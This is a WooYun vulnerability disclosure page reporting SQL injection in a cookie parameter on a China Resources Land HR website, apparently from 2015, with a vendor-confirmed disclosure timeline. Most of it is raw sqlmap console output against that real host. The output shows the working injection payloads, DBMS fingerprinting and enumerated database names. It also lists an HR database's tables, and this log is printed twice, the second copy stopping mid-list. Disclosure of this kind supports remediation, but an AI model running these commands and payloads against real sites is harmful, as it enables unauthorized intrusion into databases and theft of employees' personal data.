当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0130029

漏洞标题:华润置地某处存在漏洞#信息泄漏

相关厂商:crland.com.hk

漏洞作者: 路人甲

提交时间:2015-07-29 09:34

修复时间:2015-09-12 09:54

公开时间:2015-09-12 09:54

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-29: 细节已通知厂商并且等待厂商处理中
2015-07-29: 厂商已经确认,细节仅向厂商公开
2015-08-08: 细节向核心白帽子及相关领域专家公开
2015-08-18: 细节向普通白帽子公开
2015-08-28: 细节向实习白帽子公开
2015-09-12: 细节向公众公开

简要描述:

RT

详细说明:

http://lianjie.crland.com.hk/Webs/HR/news.aspx?hr=69

E:\工具集成\tools\注入工具\SqlMap免Python环境绿色版>sqlmap -u "http://lianjie.cr
land.com.hk/Webs/HR/news.aspx" --cookie "hr=69" --level 2
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 19:00:15
[19:00:16] [INFO] testing connection to the target url
[19:00:16] [INFO] testing if the url is stable, wait a few seconds
[19:00:17] [INFO] url is stable
[19:00:17] [INFO] testing if Cookie parameter 'hr' is dynamic
sqlmap got a 302 redirect to 'http://lianjie.crland.com.hk:80/Webs/HR/index.aspx
'. Do you want to follow? [Y/n]
[19:00:19] [INFO] confirming that Cookie parameter 'hr' is dynamic
[19:00:19] [INFO] Cookie parameter 'hr' is dynamic
[19:00:20] [WARNING] reflective value(s) found and filtering out
[19:00:20] [WARNING] heuristic test shows that Cookie parameter 'hr' might not b
e injectable
[19:00:20] [INFO] testing for SQL injection on Cookie parameter 'hr'
[19:00:20] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:00:24] [INFO] Cookie parameter 'hr' is 'AND boolean-based blind - WHERE or H
AVING clause' injectable
[19:00:24] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[19:00:24] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause
(EXTRACTVALUE)'
[19:00:24] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause
'
[19:00:25] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[19:00:25] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[19:00:25] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause (IN)'
[19:00:26] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[19:00:26] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (utl_
inaddr.get_host_address)'
[19:00:27] [INFO] testing 'Firebird AND error-based - WHERE or HAVING clause'
[19:00:27] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[19:00:28] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[19:00:28] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[19:00:29] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[19:00:29] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[19:00:29] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[19:00:40] [INFO] Cookie parameter 'hr' is 'Microsoft SQL Server/Sybase time-bas
ed blind' injectable
[19:00:40] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[19:00:40] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[19:01:02] [INFO] testing 'MySQL UNION query (NULL) - 22 to 40 columns'
[19:01:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:01:12] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[19:01:14] [INFO] target url appears to have 4 columns in query
injection not exploitable with NULL values. Do you want to try with a random int
eger value for option '--union-char'? [Y/n]
[19:01:46] [WARNING] if UNION based SQL injection is not detected, please consid
er forcing the back-end DBMS (e.g. --dbms=mysql)
[19:01:46] [INFO] testing 'Generic UNION query (82) - 22 to 40 columns'
Cookie parameter 'hr' is vulnerable. Do you want to keep testing the others (if
any)? [y/N]
sqlmap identified the following injection points with a total of 104 HTTP(s) req
uests:
---
Place: Cookie
Parameter: hr
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: hr=69 AND 1701=1701
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: hr=69 WAITFOR DELAY '0:0:5'--
---
[19:02:06] [INFO] testing MySQL
[19:02:07] [WARNING] the back-end DBMS is not MySQL
[19:02:07] [INFO] testing Oracle
[19:02:07] [WARNING] the back-end DBMS is not Oracle
[19:02:07] [INFO] testing PostgreSQL
[19:02:07] [WARNING] the back-end DBMS is not PostgreSQL
[19:02:07] [INFO] testing Microsoft SQL Server
[19:02:11] [INFO] confirming Microsoft SQL Server
[19:02:12] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2005
[19:02:12] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[19:02:12] [INFO] fetched data logged to text files under 'E:\????\tools\????\Sq
lMap?Python?????\output\lianjie.crland.com.hk'
[*] shutting down at 19:02:12
E:\工具集成\tools\注入工具\SqlMap免Python环境绿色版>sqlmap -u "http://lianjie.cr
land.com.hk/Webs/HR/news.aspx" --cookie "hr=69" --level 2 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 19:03:22
[19:03:22] [INFO] resuming back-end DBMS 'microsoft sql server'
[19:03:22] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: Cookie
Parameter: hr
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: hr=69 AND 1701=1701
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: hr=69 WAITFOR DELAY '0:0:5'--
---
[19:03:23] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2005
[19:03:23] [INFO] fetching database names
[19:03:23] [INFO] fetching number of databases
[19:03:23] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
sqlmap got a 302 redirect to 'http://lianjie.crland.com.hk:80/Webs/HR/index.aspx
'. Do you want to follow? [Y/n]
6
[19:03:27] [INFO] retrieved: hrzhidi
[19:04:17] [INFO] retrieved: JB
[19:04:26] [INFO] retrieved: master
[19:04:44] [INFO] retrieved: model
[19:05:07] [INFO] retrieved: msdb
[19:05:32] [INFO] retrieved: tempdb
available databases [6]:
[*] hrzhidi
[*] JB
[*] master
[*] model
[*] msdb
[*] tempdb
[19:06:01] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[19:06:01] [INFO] fetched data logged to text files under 'E:\????\tools\????\Sq
lMap?Python?????\output\lianjie.crland.com.hk'
[*] shutting down at 19:06:01
E:\工具集成\tools\注入工具\SqlMap免Python环境绿色版>sqlmap -u "http://lianjie.cr
land.com.hk/Webs/HR/news.aspx" --cookie "hr=69" --level 2 --current-db
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 19:06:35
[19:06:35] [INFO] resuming back-end DBMS 'microsoft sql server'
[19:06:35] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: Cookie
Parameter: hr
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: hr=69 AND 1701=1701
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: hr=69 WAITFOR DELAY '0:0:5'--
---
[19:06:36] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2005
[19:06:36] [INFO] fetching current database
[19:06:36] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
sqlmap got a 302 redirect to 'http://lianjie.crland.com.hk:80/Webs/HR/index.aspx
'. Do you want to follow? [Y/n]
JB
current database: 'JB'
[19:06:47] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[19:06:47] [INFO] fetched data logged to text files under 'E:\????\tools\????\Sq
lMap?Python?????\output\lianjie.crland.com.hk'
[*] shutting down at 19:06:47
Database: hrzhidi
[310 tables]
+------------------------+
| BASEINFO |
| BBSFile |
| CMS_AdsPlace |
| CMS_AdsPlace |
| CMS_Advertisement |
| CMS_AttachmentCategory |
| CMS_AttachmentCategory |
| CMS_AttachmentRelation |
| CMS_Author |
| CMS_BadWord |
| CMS_Comments |
| CMS_CommonField |
| CMS_Content |
| CMS_CreateFile |
| CMS_DictItem |
| CMS_Dicts |
| CMS_DownloadUrl |
| CMS_Feedback |
| CMS_Field |
| CMS_Gallery |
| CMS_IP |
| CMS_KeyLink |
| CMS_Keyword |
| CMS_LY |
| CMS_LeaveWord |
| CMS_Links |
| CMS_Message |
| CMS_Model |
| CMS_Nodes |
| CMS_PointsLog |
| CMS_PositionApply |
| CMS_Sample |
| CMS_SettingsCategory |
| CMS_SettingsCategory |
| CMS_Source |
| CMS_SpecialContent |
| CMS_SpecialContent |
| CMS_SpecialNodeMap |
| CMS_SpecialNodeMap |
| CMS_Stat_CountContent |
| CMS_Stat_CounterInfo |
| CMS_Stat_CounterView |
| CMS_Stat_MySave |
| CMS_Tenders |
| CMS_Test |
| CMS_U_Article |
| CMS_U_Banner |
| CMS_U_Help |
| CMS_U_Info |
| CMS_U_Job |
| CMS_U_Links |
| CMS_U_News |
| CMS_U_Photo |
| CMS_U_Product |
| CMS_U_Sample |
| CMS_U_Soft |
| CMS_U_Test |
| CMS_U_dy |
| CMS_U_video |
| CMS_UserDetail |
| CMS_UserDetail |
| CMS_UserRank |
| CMS_WinTenders |
| CompanyInfo |
| CustKind |
| Customer |
| Discussion |
| DiscussionTeam |
| ErrorLogs |
| MainWeight |
| SMSAccount |
| SMSInfo |
| TaskFile |
| TaskInfo |
| TaskMark |
| TaskRemark |
| TbExpendableApply |
| TbExpendableApply |
| TbExpendableSort |
| TbGroup_User |
| TbGroup_User |
| TbUserGroup |
| TbWentAbroad |
| TbfixtureApply |
| TbfixtureApply |
| TbfixtureSort |
| TopFile |
| TskGroup |
| Vote |
| __corp_info |
| taskEditTemp |
| taskGroup |
| taskTemp |
| taskUandG |
| taskandG |
| tbAccSwitch |
| tbAccount |
| tbAccreditCompany |
| tbAddressClass |
| tbAddressList |
| tbAddressListtemp |
| tbAffairFile |
| tbApprover |
| tbArchiveOut |
| tbArchives |
| tbAssuranceBase |
| tbAssuranceMaster |
| tbAssuranceSlave |
| tbAttendCheckIn |
| tbAttendClass |
| tbAttendSetting |
| tbAttendUserClass |
| tbAwardOrPunish |
| tbBackup |
| tbCalendarArrange |
| tbCatalog |
| tbCensor |
| tbChangeInfo |
| tbChangeRecord |
| tbClassHoliday |
| tbClassOrder |
| tbClassifyAdminTemp |
| tbClassifyLoaner |
| tbClassifyRequest |
| tbClsRecord |
| tbClspurview |
| tbCommission |
| tbCommonStatement |
| tbCompanyCatalog |
| tbCompanyKey |
| tbContact |
| tbCorpEmail |
| tbCustomMenu |
| tbCustomRequest |
| tbCustomerProduct |
| tbCustomerProduct |
| tbDefaultInfo |
| tbDegree |
| tbDelFile |
| tbDiary |
| tbDiarySort |
| tbDocBox |
| tbDocItem |
| tbDocNo |
| tbDocReceiveBox |
| tbDocSendBox |
| tbEducation |
| tbEmpQuarters |
| tbEmpState |
| tbEmployee1 |
| tbEmployee1 |
| tbEmployeeNote |
| tbEquipmentChange |
| tbEquipmentChange |
| tbExecutor |
| tbExpendableChange |
| tbExperience |
| tbExport |
| tbFamily |
| tbFillCard |
| tbFlowFile |
| tbFlowFormData |
| tbFlowFormData |
| tbFlowFormItem |
| tbFlowItem |
| tbFlowMark |
| tbFriendShipLink |
| tbGoogs |
| tbGroupUser |
| tbHealth |
| tbICQMsg |
| tbIndexInfo |
| tbKaoqinTime |
| tbKind |
| tbLabelClass |
| tbLeaseUser |
| tbLinkClass |
| tbLogEvents |
| tbLogin |
| tbMailAccount |
| tbMailAccount |
| tbMailFile |
| tbMailFolder |
| tbMailReceive |
| tbMember |
| tbModule |
| tbMyDoc |
| tbMyMail |
| tbNewVoitureAssurance |
| tbNewVoitureAssurance |
| tbNewVoitureCheck |
| tbNewVoitureEvent |
| tbNewVoitureLend |
| tbNewVoitureOil |
| tbNewVoitureRepair |
| tbNodeFormRight |
| tbNodeInfo |
| tbNodeState |
| tbNoticeClass |
| tbNoticeImg |
| tbNoticeInfo |
| tbNoticeSMS |
| tbNoticeUser |
| tbOftSpendPrj |
| tbOftSpendPrj |
| tbOperate |
| tbOutSendNoticeUser |
| tbOutside |
| tbPactApprover |
| tbPactApprover |
| tbPactAttach |
| tbPactCatalog |
| tbPactPurview |
| tbPactRequest |
| tbParamContent |
| tbParamTitle |
| tbPersonChange |
| tbPersonLabel |
| tbPic |
| tbPicTypeCh |
| tbPicTypeCh |
| tbPosition |
| tbPrjVisit |
| tbProAffair |
| tbProAssFUser |
| tbProAssRelaUser |
| tbProAssRemark |
| tbProAssignmentF |
| tbProClient |
| tbProDictionary |
| tbProEditBzFile |
| tbProEditFile |
| tbProFile |
| tbProLandmark |
| tbProMark |
| tbProMessage |
| tbProRecycleBin |
| tbProRemark |
| tbProType |
| tbProUser |
| tbProduct |
| tbProductUser |
| tbProjectNew |
| tbProjectNew |
| tbProjectState |
| tbPurview |
| tbPurviewTemp |
| tbQuickLinkInfo |
| tbQuickLinkInfo |
| tbRecOperate |
| tbRecordDoc |
| tbRecordDoc |
| tbRefrenceDiary |
| tbRefrenceNotice |
| tbResource |
| tbRoles |
| tbSYJB |
| tbSaleMoveHistory |
| tbSaleState |
| tbSalersGroup |
| tbSalersGroup |
| tbSalesVisit |
| tbServiceItem |
| tbServiceItem |
| tbShareFile |
| tbSharePurview |
| tbShareWorkFlow |
| tbSharefolder |
| tbSociety |
| tbSonCompany |
| tbStrategyLimit |
| tbSysDiary |
| tbTRSetup |
| tbTableID |
| tbTaskFile |
| tbTaskInfo |
| tbTeam |
| tbTodayReport |
| tbTrade |
| tbTransactor |
| tbUsebasicData |
| tbUserIndexConfig |
| tbUserIndexInfo |
| tbUserOperateDiary |
| tbVisitMethod |
| tbVoitureAssurance |
| tbVoitureAssurance |
| tbVoitureCheck |
| tbVoitureEvent |
| tbVoitureLend |
| tbVoitureOil |
| tbVoitureRepair |
| tbVoteOpintion |
| tbVoteitem |
| tbVoteitem |
| tbWFDFileNo |
| tbWFDFileNo |
| tbWFDFileNoSort |
| tbWkGroupUser |
| tbWorkFlow |
| tbWorkFlowSort |
| tbWorkFlowType |
| tbWorkGroupType |
| tbbasicDataCode |
| tbbasicDataCode |
| tbdept |
| tblanguage |
| tbpicTypeThr |
| tbwarrant |
| view |
+------------------------+

漏洞证明:

http://lianjie.crland.com.hk/Webs/HR/news.aspx?hr=69

E:\工具集成\tools\注入工具\SqlMap免Python环境绿色版>sqlmap -u "http://lianjie.cr
land.com.hk/Webs/HR/news.aspx" --cookie "hr=69" --level 2
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 19:00:15
[19:00:16] [INFO] testing connection to the target url
[19:00:16] [INFO] testing if the url is stable, wait a few seconds
[19:00:17] [INFO] url is stable
[19:00:17] [INFO] testing if Cookie parameter 'hr' is dynamic
sqlmap got a 302 redirect to 'http://lianjie.crland.com.hk:80/Webs/HR/index.aspx
'. Do you want to follow? [Y/n]
[19:00:19] [INFO] confirming that Cookie parameter 'hr' is dynamic
[19:00:19] [INFO] Cookie parameter 'hr' is dynamic
[19:00:20] [WARNING] reflective value(s) found and filtering out
[19:00:20] [WARNING] heuristic test shows that Cookie parameter 'hr' might not b
e injectable
[19:00:20] [INFO] testing for SQL injection on Cookie parameter 'hr'
[19:00:20] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:00:24] [INFO] Cookie parameter 'hr' is 'AND boolean-based blind - WHERE or H
AVING clause' injectable
[19:00:24] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[19:00:24] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause
(EXTRACTVALUE)'
[19:00:24] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause
'
[19:00:25] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[19:00:25] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[19:00:25] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause (IN)'
[19:00:26] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[19:00:26] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (utl_
inaddr.get_host_address)'
[19:00:27] [INFO] testing 'Firebird AND error-based - WHERE or HAVING clause'
[19:00:27] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[19:00:28] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[19:00:28] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[19:00:29] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[19:00:29] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[19:00:29] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[19:00:40] [INFO] Cookie parameter 'hr' is 'Microsoft SQL Server/Sybase time-bas
ed blind' injectable
[19:00:40] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[19:00:40] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[19:01:02] [INFO] testing 'MySQL UNION query (NULL) - 22 to 40 columns'
[19:01:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:01:12] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[19:01:14] [INFO] target url appears to have 4 columns in query
injection not exploitable with NULL values. Do you want to try with a random int
eger value for option '--union-char'? [Y/n]
[19:01:46] [WARNING] if UNION based SQL injection is not detected, please consid
er forcing the back-end DBMS (e.g. --dbms=mysql)
[19:01:46] [INFO] testing 'Generic UNION query (82) - 22 to 40 columns'
Cookie parameter 'hr' is vulnerable. Do you want to keep testing the others (if
any)? [y/N]
sqlmap identified the following injection points with a total of 104 HTTP(s) req
uests:
---
Place: Cookie
Parameter: hr
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: hr=69 AND 1701=1701
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: hr=69 WAITFOR DELAY '0:0:5'--
---
[19:02:06] [INFO] testing MySQL
[19:02:07] [WARNING] the back-end DBMS is not MySQL
[19:02:07] [INFO] testing Oracle
[19:02:07] [WARNING] the back-end DBMS is not Oracle
[19:02:07] [INFO] testing PostgreSQL
[19:02:07] [WARNING] the back-end DBMS is not PostgreSQL
[19:02:07] [INFO] testing Microsoft SQL Server
[19:02:11] [INFO] confirming Microsoft SQL Server
[19:02:12] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2005
[19:02:12] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[19:02:12] [INFO] fetched data logged to text files under 'E:\????\tools\????\Sq
lMap?Python?????\output\lianjie.crland.com.hk'
[*] shutting down at 19:02:12
E:\工具集成\tools\注入工具\SqlMap免Python环境绿色版>sqlmap -u "http://lianjie.cr
land.com.hk/Webs/HR/news.aspx" --cookie "hr=69" --level 2 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 19:03:22
[19:03:22] [INFO] resuming back-end DBMS 'microsoft sql server'
[19:03:22] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: Cookie
Parameter: hr
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: hr=69 AND 1701=1701
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: hr=69 WAITFOR DELAY '0:0:5'--
---
[19:03:23] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2005
[19:03:23] [INFO] fetching database names
[19:03:23] [INFO] fetching number of databases
[19:03:23] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
sqlmap got a 302 redirect to 'http://lianjie.crland.com.hk:80/Webs/HR/index.aspx
'. Do you want to follow? [Y/n]
6
[19:03:27] [INFO] retrieved: hrzhidi
[19:04:17] [INFO] retrieved: JB
[19:04:26] [INFO] retrieved: master
[19:04:44] [INFO] retrieved: model
[19:05:07] [INFO] retrieved: msdb
[19:05:32] [INFO] retrieved: tempdb
available databases [6]:
[*] hrzhidi
[*] JB
[*] master
[*] model
[*] msdb
[*] tempdb
[19:06:01] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[19:06:01] [INFO] fetched data logged to text files under 'E:\????\tools\????\Sq
lMap?Python?????\output\lianjie.crland.com.hk'
[*] shutting down at 19:06:01
E:\工具集成\tools\注入工具\SqlMap免Python环境绿色版>sqlmap -u "http://lianjie.cr
land.com.hk/Webs/HR/news.aspx" --cookie "hr=69" --level 2 --current-db
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 19:06:35
[19:06:35] [INFO] resuming back-end DBMS 'microsoft sql server'
[19:06:35] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: Cookie
Parameter: hr
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: hr=69 AND 1701=1701
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: hr=69 WAITFOR DELAY '0:0:5'--
---
[19:06:36] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2005
[19:06:36] [INFO] fetching current database
[19:06:36] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
sqlmap got a 302 redirect to 'http://lianjie.crland.com.hk:80/Webs/HR/index.aspx
'. Do you want to follow? [Y/n]
JB
current database: 'JB'
[19:06:47] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[19:06:47] [INFO] fetched data logged to text files under 'E:\????\tools\????\Sq
lMap?Python?????\output\lianjie.crland.com.hk'
[*] shutting down at 19:06:47
Database: hrzhidi
[310 tables]
+------------------------+
| BASEINFO |
| BBSFile |
| CMS_AdsPlace |
| CMS_AdsPlace |
| CMS_Advertisement |
| CMS_AttachmentCategory |
| CMS_AttachmentCategory |
| CMS_AttachmentRelation |
| CMS_Author |
| CMS_BadWord |
| CMS_Comments |
| CMS_CommonField |
| CMS_Content |
| CMS_CreateFile |
| CMS_DictItem |
| CMS_Dicts |
| CMS_DownloadUrl |
| CMS_Feedback |
| CMS_Field |
| CMS_Gallery |
| CMS_IP |
| CMS_KeyLink |
| CMS_Keyword |
| CMS_LY |
| CMS_LeaveWord |
| CMS_Links |
| CMS_Message |
| CMS_Model |
| CMS_Nodes |
| CMS_PointsLog |
| CMS_PositionApply |
| CMS_Sample |
| CMS_SettingsCategory |
| CMS_SettingsCategory |
| CMS_Source |
| CMS_SpecialContent |
| CMS_SpecialContent |
| CMS_SpecialNodeMap |
| CMS_SpecialNodeMap |
| CMS_Stat_CountContent |
| CMS_Stat_CounterInfo |
| CMS_Stat_CounterView |
| CMS_Stat_MySave |
| CMS_Tenders |
| CMS_Test |
| CMS_U_Article |
| CMS_U_Banner |
| CMS_U_Help |
| CMS_U_Info |
| CMS_U_Job |
| CMS_U_Links |
| CMS_U_News |
| CMS_U_Photo |
| CMS_U_Product |
| CMS_U_Sample |
| CMS_U_Soft |
| CMS_U_Test |
| CMS_U_dy |
| CMS_U_video |
| CMS_UserDetail |
| CMS_UserDetail |
| CMS_UserRank |
| CMS_WinTenders |
| CompanyInfo |
| CustKind |
| Customer |
| Discussion |
| DiscussionTeam |
| ErrorLogs |
| MainWeight |
| SMSAccount |
| SMSInfo |
| TaskFile |
| TaskInfo |
| TaskMark |
| TaskRemark |
| TbExpendableApply |
| TbExpendableApply |
| TbExpendableSort |
| TbGroup_User |
| TbGroup_User |
| TbUserGroup |
| TbWentAbroad |
| TbfixtureApply |
| TbfixtureApply |
| TbfixtureSort |
| TopFile |
| TskGroup |
| Vote |
| __corp_info |
| taskEditTemp |
| taskGroup |
| taskTemp |
| taskUandG |
| taskandG |
| tbAccSwitch |
| tbAccount |
| tbAccreditCompany |
| tbAddressClass |
| tbAddressList |
| tbAddressListtemp |
| tbAffairFile |
| tbApprover |
| tbArchiveOut |
| tbArchives |
| tbAssuranceBase |
| tbAssuranceMaster |
| tbAssuranceSlave |
| tbAttendCheckIn |
| tbAttendClass |
| tbAttendSetting |
| tbAttendUserClass |
| tbAwardOrPunish |
| tbBackup |
| tbCalendarArrange |
| tbCatalog |
| tbCensor |
| tbChangeInfo |
| tbChangeRecord |
| tbClassHoliday |
| tbClassOrder |
| tbClassifyAdminTemp |
| tbClassifyLoaner |
| tbClassifyRequest |
| tbClsRecord |
| tbClspurview |
| tbCommission |
| tbCommonStatement |
| tbCompanyCatalog |
| tbCompanyKey |
| tbContact |
| tbCorpEmail |
| tbCustomMenu |
| tbCustomRequest |
| tbCustomerProduct |
| tbCustomerProduct |
| tbDefaultInfo |
| tbDegree |
| tbDelFile |
| tbDiary |
| tbDiarySort |
| tbDocBox |
| tbDocItem |
| tbDocNo |
| tbDocReceiveBox |
| tbDocSendBox |
| tbEducation |
| tbEmpQuarters |
| tbEmpState |
| tbEmployee1 |
| tbEmployee1 |
| tbEmployeeNote |
| tbEquipmentChange |
| tbEquipmentChange |
| tbExecutor |
| tbExpendableChange |
| tbExperience |
| tbExport |
| tbFamily |
| tbFillCard |
| tbFlowFile |
| tbFlowFormData |
| tbFlowFormData |
| tbFlowFormItem |
| tbFlowItem |
| tbFlowMark |
| tbFriendShipLink |
| tbGoogs |
| tbGroupUser |
| tbHealth |
| tbICQMsg |
| tbIndexInfo |
| tbKaoqinTime |
| tbKind |
| tbLabelClass |
| tbLeaseUser |
| tbLinkClass |
| tbLogEvents |
| tbLogin |
| tbMailAccount |
| tbMailAccount |
| tbMailFile |
| tbMailFolder |
| tbMailReceive |
| tbMember |
| tbModule |
| tbMyDoc |
| tbMyMail |
| tbNewVoitureAssurance |
| tbNewVoitureAssurance |
| tbNewVoitureCheck |
| tbNewVoitureEvent |
| tbNewVoitureLend |
| tbNewVoitureOil |
| tbNewVoitureRepair |
| tbNodeFormRight |
| tbNodeInfo |
| tbNodeState |
| tbNoticeClass |
| tbNoticeImg |
| tbNoticeInfo |
| tbNoticeSMS |
| tbNoticeUser |
| tbOftSpendPrj |
| tbOftSpendPrj |
| tbOperate |
| tbOutSendNoticeUser |
| tbOutside |
| tbPactApprover |
| tbPactApprover |
| tbPactAttach |
